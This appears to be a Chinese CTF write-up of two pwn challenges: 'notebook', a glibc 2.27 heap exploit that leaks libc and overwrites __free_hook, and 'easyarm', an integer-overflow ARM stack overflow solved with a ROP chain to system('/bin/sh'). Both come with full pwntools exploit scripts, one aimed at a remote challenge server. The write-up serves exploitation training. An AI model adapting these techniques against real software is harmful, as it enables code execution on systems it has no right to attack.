notebook add 构造固定大小 0x108 的堆块,用下一个堆块的 prev_size 来构造链表,全局标志位记录链头的地址。问题在于 free 的没有重新调整找个链表的结构,依然保持着相同的链表结构。利用 show 可以将整个链表打印出来,需要是要调整全局指针和 unsortedbin 的关系,因为 free 进入unsortedbin 之后,下个堆的 prev_size 会被修改为 0x110 ,导致 show 的时候地址不可读而报错退出。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 from pwn import *context.log_level = 'debug' p = process("./chall" , env={"LD_PRELOAD" :"./libc-2.27.so" }) libc = ELF("./libc-2.27.so" ) def add (momo,content ): p.sendlineafter("> " ,'1' ) p.sendafter("> " ,momo) p.sendafter("> " ,content) def delete (id ): p.sendlineafter("> " ,'2' ) p.sendlineafter("> " ,str (id )) def show (): p.sendlineafter("> " ,'3' ) for i in range (8 ): add(chr (ord ('a' )+i)*0x10 ,'b' *0xf0 ) for i in range (7 ,-1 ,-1 ): delete(chr (ord ('a' )+i)*0x10 ) for i in range (7 ): add(chr (ord ('a' )+i)*0x10 ,'b' *0xf0 ) add('a' *0x8 ,"junk" ) show() p.recvuntil('a' *0x8 ) leak_addr = u64(p.recv(6 ).ljust(8 ,"\x00" )) libc_base = leak_addr - (0x7ffff7dcdca0 -0x7ffff79e2000 ) log.info("libc_base:" +hex (libc_base)) free_hook = libc_base + libc.sym['__free_hook' ] log.info("free_hook:" +hex (free_hook)) delete('b' *0x10 ) delete(p64(0 )+'b' *0x8 ) add(p64(free_hook),'skye' .ljust(0xf0 ,'\x00' )) add(p64(0xdeadbeef ),'s' ) add(p64(libc_base+0x4f3c2 ),'s' ) delete(p64(libc_base+0x4f3c2 )+p64(0 )) ''' add(p64(free_hook-8),'skye'.ljust(0xf0,'\x00')) add(p64(0xdeadbeef),'s') add("/bin/sh\x00" + p64(libc.symbols["system"]),'s') delete("/bin/sh\x00" + p64(libc.symbols["system"])) ''' p.interactive()
easyarm 整形溢出:
直接栈溢出,叶子函数可以覆盖返回地址劫持程序流,但是确实 pop r0 的 gadget 来传参
1 2 3 4 5 6 7 > ROPgadget --binary chall --only "pop|ret" Gadgets information ============================================================ 0x00010618 : pop {fp, pc} 0x0001043c : pop {r3, pc} 0x000105b0 : pop {r4, pc} 0x00010758 : pop {r4, r5, r6, r7, r8, sb, sl, pc}
再多找一个 gadget ,将 r7 传递给 r0 ,并且还有调用函数:
1 0x00010738 : add r4, r4, #1 ; ldr r3, [r5], #4 ; mov r2, sb ; mov r1, r8 ; mov r0, r7 ; blx r3
将参数放在 r7 ,配合 pop {r3, pc}
,需要调用函数地址放在 r3 。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 from pwn import *import syscontext.binary = "./chall" context.terminal = ['tmux' ,'sp' ,'-h' ] if sys.argv[1 ] == "r" : p = remote("47.104.185.63" , 8855 ) elif sys.argv[1 ] == "l" : p = process(["qemu-arm-static" , "-L" , "/usr/arm-linux-gnueabi" , "./chall" ]) else : p = process(["qemu-arm-static" , "-g" , "1235" , "-L" , "/usr/arm-linux-gnueabi" , "./chall" ]) elf = ELF("./chall" ) libc = ELF("/usr/arm-linux-gnueabi/lib/libc.so.6" ) pop_r4_pc = 0x00010758 main = 0x0010628 ''' p.sendlineafter("len> ",str(-1)) payload = ''.ljust(36-4,'a') + p32(0x0001068C) payload += p32(pop_r4_pc) payload += p32(1)+p32(elf.got['puts']) payload += p32(0)+p32(elf.got['puts']) payload += p32(1)+p32(1) payload += p32(1)+p32(0x0001043c) #puts->r3 payload += p32(elf.got['puts'])+p32(0x00010738) p.sendlineafter("msg> ",payload) addr = u32(p.recv(4)) print("addr:"+hex(addr)) ''' libc_base = 0xff6c68b8 - libc.symbols['puts' ] str_bin_sh = libc_base + next (libc.search("/bin/sh" )) print("str_bin_sh:" +hex (str_bin_sh)) system = libc_base + libc.symbols['system' ] print("system:" +hex (system)) print "libc_base:" +hex (libc_base)p.sendlineafter("len> " ,str (-1 )) payload = '' .ljust(36 -4 ,'a' ) + p32(0x0001068C ) payload += p32(pop_r4_pc) payload += p32(1 )+p32(1 ) payload += p32(0 )+p32(str_bin_sh) payload += p32(1 )+p32(1 ) payload += p32(1 )+p32(0x0001043c ) payload += p32(system)+p32(0x10744 ) p.sendlineafter("msg> " ,payload) p.interactive()